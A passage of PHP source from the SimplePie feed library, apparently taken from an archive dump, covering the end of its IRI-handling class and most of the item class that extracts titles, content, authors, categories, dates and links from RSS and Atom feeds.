strpos($this->ipath, '/', 1) !== false && strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) return false; return true; } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ public function set_iri($iri, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = array(); } if ($iri === null) { return true; } elseif (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } $parsed = $this->parse_iri((string) $iri); if (!$parsed) { return false; } $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = array($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return); return $return; } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ public function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ public function set_authority($authority, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) $cache = array(); if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } elseif (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) { if (($port = substr($remaining, $port_start + 1)) === false) { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = array($this->iuserinfo, $this->ihost, $this->port, $return); return $return; } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ public function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ public function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (SimplePie_Net_IPv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . SimplePie_Net_IPv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ public function set_port($port) { if ($port === null) { $this->port = null; return true; } elseif (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } $this->port = null; return false; } /** * Set the ipath. * * @param string $ipath * @return bool */ public function set_path($ipath, $clear_cache = false) { static $cache; if ($clear_cache) { $cache = null; return; } if (!$cache) { $cache = array(); } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = array($valid, $removed); $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ public function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ public function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @return string */ public function to_uri($string) { static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($string); while (($position += strcspn($string, $non_ascii, $position)) < $strlen) { $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1); $position += 3; $strlen += 2; } return $string; } /** * Get the complete IRI * * @return string */ public function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } if ($this->ipath !== '') { $iri .= $this->ipath; } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') { $iri .= $this->normalization[$this->scheme]['ipath']; } if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ public function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string */ protected function get_iauthority() { if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) { $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null && $this->port !== 0) { $iauthority .= ':' . $this->port; } return $iauthority; } return null; } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) return $this->to_uri($iauthority); return $iauthority; } } SimplePie/Item.php000064400000301406151202620270010043 0ustar00feed = $feed; $this->data = $data; } /** * Set the registry handler * * This is usually used by {@see SimplePie_Registry::create} * * @since 1.3 * @param SimplePie_Registry $registry */ public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } /** * Get a string representation of the item * * @return string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if (!gc_enabled()) { unset($this->feed); } } /** * Get data for an item-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the item/entry tag. * * See {@see SimplePie::get_feed_tags()} for a description of the return value * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array */ public function get_item_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } return null; } /** * Get the base URL value from the parent feed * * Uses `` * * @param array $element * @return string */ public function get_base($element = array()) { return $this->feed->get_base($element); } /** * Sanitize feed data * * @access private * @see SimplePie::sanitize() * @param string $data Data to sanitize * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants * @param string $base Base URL to resolve URLs against * @return string Sanitized data */ public function sanitize($data, $type, $base = '') { return $this->feed->sanitize($data, $type, $base); } /** * Get the parent feed * * Note: this may not work as you think for multifeeds! * * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed * @since 1.0 * @return SimplePie */ public function get_feed() { return $this->feed; } /** * Get the unique identifier for the item * * This is usually used when writing code to check for new items in a feed. * * Uses ``, ``, `` or the `about` attribute * for RDF. If none of these are supplied (or `$hash` is true), creates an * MD5 hash based on the permalink, title and content. * * @since Beta 2 * @param boolean $hash Should we force using a hash instead of the supplied ID? * @param string|false $fn User-supplied function to generate an hash * @return string|null */ public function get_id($hash = false, $fn = 'md5') { if (!$hash) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'])) { return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT); } } if ($fn === false) { return null; } elseif (!is_callable($fn)) { trigger_error('User-supplied function $fn must be callable', E_USER_WARNING); $fn = 'md5'; } return call_user_func($fn, $this->get_permalink().$this->get_title().$this->get_content()); } /** * Get the title of the item * * Uses ``, `` or `<dc:title>` * * @since Beta 2 (previously called `get_item_title` since 0.8) * @return string|null */ public function get_title() { if (!isset($this->data['title'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $this->data['title'] = null; } } return $this->data['title']; } /** * Get the content for the item * * Prefers summaries over full content , but will return full content if a * summary does not exist. * * To prefer full content instead, use {@see get_content} * * Uses `<atom:summary>`, `<description>`, `<dc:description>` or * `<itunes:subtitle>` * * @since 0.8 * @param boolean $description_only Should we avoid falling back to the content? * @return string|null */ public function get_description($description_only = false) { if (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML))) { return $return; } elseif (!$description_only) { return $this->get_content(true); } return null; } /** * Get the content for the item * * Prefers full content over summaries, but will return a summary if full * content does not exist. * * To prefer summaries instead, use {@see get_description} * * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module) * * @since 1.0 * @param boolean $content_only Should we avoid falling back to the description? * @return string|null */ public function get_content($content_only = false) { if (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) && ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0])))) { return $return; } elseif (!$content_only) { return $this->get_description(true); } return null; } /** * Get the media:thumbnail of the item * * Uses `<media:thumbnail>` * * * @return array|null */ public function get_thumbnail() { if (!isset($this->data['thumbnail'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { $this->data['thumbnail'] = $return[0]['attribs']['']; } else { $this->data['thumbnail'] = null; } } return $this->data['thumbnail']; } /** * Get a category for the item * * @since Beta 3 (previously called `get_categories()` since Beta 2) * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } /** * Get all categories for the item * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Beta 3 * @return SimplePie_Category[]|null List of {@see SimplePie_Category} objects */ public function get_categories() { $categories = array(); $type = 'category'; foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, $type) as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label, $type)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, $type) as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', array($term, $scheme, null, $type)); } $type = 'subject'; foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, $type) as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null, $type)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, $type) as $category) { $categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null, $type)); } if (!empty($categories)) { return array_unique($categories); } return null; } /** * Get an author for the item * * @since Beta 2 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } /** * Get a contributor for the item * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } /** * Get all contributors for the item * * Uses `<atom:contributor>` * * @since 1.1 * @return SimplePie_Author[]|null List of {@see SimplePie_Author} objects */ public function get_contributors() { $contributors = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', array($name, $uri, $email)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', array($name, $url, $email)); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } /** * Get all authors for the item * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since Beta 2 * @return SimplePie_Author[]|null List of {@see SimplePie_Author} objects */ public function get_authors() { $authors = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', array($name, $uri, $email)); } } if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', array($name, $url, $email)); } } if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'author')) { $authors[] = $this->registry->create('Author', array(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT))); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null)); } if (!empty($authors)) { return array_unique($authors); } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) { return $authors; } elseif ($authors = $this->feed->get_authors()) { return $authors; } return null; } /** * Get the copyright info for the item * * Uses `<atom:rights>` or `<dc:rights>` * * @since 1.1 * @return string */ public function get_copyright() { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } /** * Get the posting date/time for the item * * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`, * `<atom:modified>`, `<pubDate>` or `<dc:date>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @since Beta 2 (previously called `get_item_date` since 0.8) * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['date'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'pubDate')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified')) { $this->data['date']['raw'] = $return[0]['data']; } if (!empty($this->data['date']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']); } else { $this->data['date'] = null; } } if ($this->data['date']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); case 'U': return $this->data['date']['parsed']; default: return date($date_format, $this->data['date']['parsed']); } } return null; } /** * Get the update date/time for the item * * Uses `<atom:updated>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_updated_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['updated'])) { if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated')) { $this->data['updated']['raw'] = $return[0]['data']; } if (!empty($this->data['updated']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']); } else { $this->data['updated'] = null; } } if ($this->data['updated']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['updated']['raw'], SIMPLEPIE_CONSTRUCT_TEXT); case 'U': return $this->data['updated']['parsed']; default: return date($date_format, $this->data['updated']['parsed']); } } return null; } /** * Get the localized posting date/time for the item * * Returns the date formatted in the localized language. To display in * languages other than the server's default, you need to change the locale * with {@link http://php.net/setlocale setlocale()}. The available * localizations depend on which ones are installed on your web server. * * @since 1.0 * * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data) * @return int|string|null */ public function get_local_date($date_format = '%c') { if (!$date_format) { return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT); } elseif (($date = $this->get_date('U')) !== null && $date !== false) { return strftime($date_format, $date); } return null; } /** * Get the posting date/time for the item (UTC time) * * @see get_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the update date/time for the item (UTC time) * * @see get_updated_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_updated_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_updated_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 0.8 * @return string|null Permalink URL */ public function get_permalink() { $link = $this->get_link(); $enclosure = $this->get_enclosure(0); if ($link !== null) { return $link; } elseif ($enclosure !== null) { return $enclosure->get_link(); } return null; } /** * Get a single link for the item * * @since Beta 3 * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if ($links && $links[$key] !== null) { return $links[$key]; } return null; } /** * Get all links for the item * * Uses `<atom:link>`, `<link>` or `<guid>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the item (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = array(); foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, 